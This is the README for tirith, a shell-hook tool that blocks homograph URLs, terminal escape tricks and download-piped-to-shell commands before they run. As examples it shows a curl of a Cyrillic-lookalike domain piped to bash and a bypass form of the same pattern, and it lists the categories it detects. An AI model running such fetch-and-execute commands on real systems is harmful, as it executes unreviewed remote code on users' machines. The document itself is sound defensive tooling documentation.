tirith 0.1.0

CLI tool for URL security analysis in shell environments
tirith-0.1.0 is not a library.

tirith

The gate between your clipboard and your shell.

Tirith intercepts commands and pasted text in your terminal, detects suspicious URLs and deception, and blocks threats before they execute. No new commands to learn. No friction on clean input.

CI License: Apache-2.0


The problem

You copy this from a README:
  curl -L https://foundry.paradіgm.xyz | bash
                          ^
                    Cyrillic і — not Latin i

Your browser would catch this. Your terminal won't.

Terminals render Unicode, ANSI escapes, and invisible characters without question. Tirith stands at the gate.

Install

cargo install tirith

Then activate (add to your .zshrc, .bashrc, or config.fish):

eval "$(tirith init)"

That's it. Your shell is guarded.

What happens

Blocked — homograph domain piped to shell

$ curl -L https://foundry.paradіgm.xyz | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname — Non-ASCII characters in hostname
    Hostname contains Cyrillic і (U+0456) at position 16. This is a homograph
    attack — the URL visually mimics a legitimate domain but resolves elsewhere.
  [HIGH] curl_pipe_shell — Pipe to interpreter with suspicious URL
    curl output piped to bash with a blocked URL.
  Set TIRITH=0 to bypass (use with caution)

The command never executes.

Warned — pipe-to-shell with clean URL

$ curl -fsSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter — Download piped to interpreter
    curl output piped directly to sh. Consider downloading first and reviewing.

The warning prints to stderr. The command runs.

Silent — normal commands

$ git status
$ ls -la
$ docker compose up -d

Nothing. Zero output. Sub-millisecond overhead. You forget tirith is running.

What it catches

Category Examples
Homograph attacks Cyrillic/Greek lookalikes in domain names, punycode domains, mixed-script labels
Terminal deception ANSI escape injection, bidi overrides, zero-width characters, hidden carriage returns
Pipe-to-shell curl | bash, wget | sh, process substitution, eval from download
Credential exposure http://user:pass@host, userinfo tricks in URLs
Insecure transport Plain HTTP piped to shell, curl -k, disabled TLS verification
Ecosystem threats Git clone typosquats, untrusted Docker registries, pip/npm URL installs
Dotfile attacks Downloads targeting ~/.bashrc, ~/.ssh/authorized_keys, ~/.gitconfig

30 detection rules across 7 categories. Full list in tirith check --json output.

What it never does

  • No network calls during check or paste — all analysis is local
  • No command rewriting — tirith never modifies what you typed
  • No telemetry — nothing leaves your machine, ever
  • No background processes — invoked per-command, exits immediately
  • No cloud dependency — works offline, no accounts, no API keys

Data handling

Tirith writes a local JSONL audit log to ~/.local/share/tirith/audit.jsonl containing:

  • Timestamp, action taken, rule ID, redacted command preview
  • No full commands, environment variables, or file contents

Disable logging entirely:

export TIRITH_LOG=0

Log location:

tirith doctor  # shows all paths

Commands

Command Purpose
tirith check -- <cmd> Analyze a command without executing
tirith paste Analyze clipboard/pasted content
tirith score <url> URL trust breakdown
tirith diff <url> Byte-level Unicode diff for suspicious URLs
tirith why Explain the last triggered rule
tirith run <url> Download-first safe installer runner
tirith receipt {last,list,verify} Install script tracking
tirith init Print shell hook for eval
tirith doctor Diagnostic info (paths, shell, policy)

Configuration

Tirith uses a YAML policy file. Discovery order:

  1. .tirith/policy.yaml in current directory (walk up to root)
  2. ~/.config/tirith/policy.yaml

Example — allow a specific domain, escalate Docker rules:

version: 1
allowlist:
  - "get.docker.com"
  - "sh.rustup.rs"

rules:
  docker_untrusted_registry:
    severity: critical

fail_mode: open  # or "closed" for strict environments

More examples in docs/cookbook.md.

Shell support

Shell Hook type Tested on
zsh preexec + paste widget 5.8+
bash preexec (two modes) 5.0+
fish fish_preexec event 3.5+
PowerShell PSReadLine handler 7.0+

Bypass

For the rare case you know exactly what you're doing:

TIRITH=0 curl -L https://something.xyz | bash

Organizations can disable this via policy:

allow_bypass: false

Docs

License

Apache-2.0. See LICENSE-APACHE for details.

Third-party data attributions in NOTICE.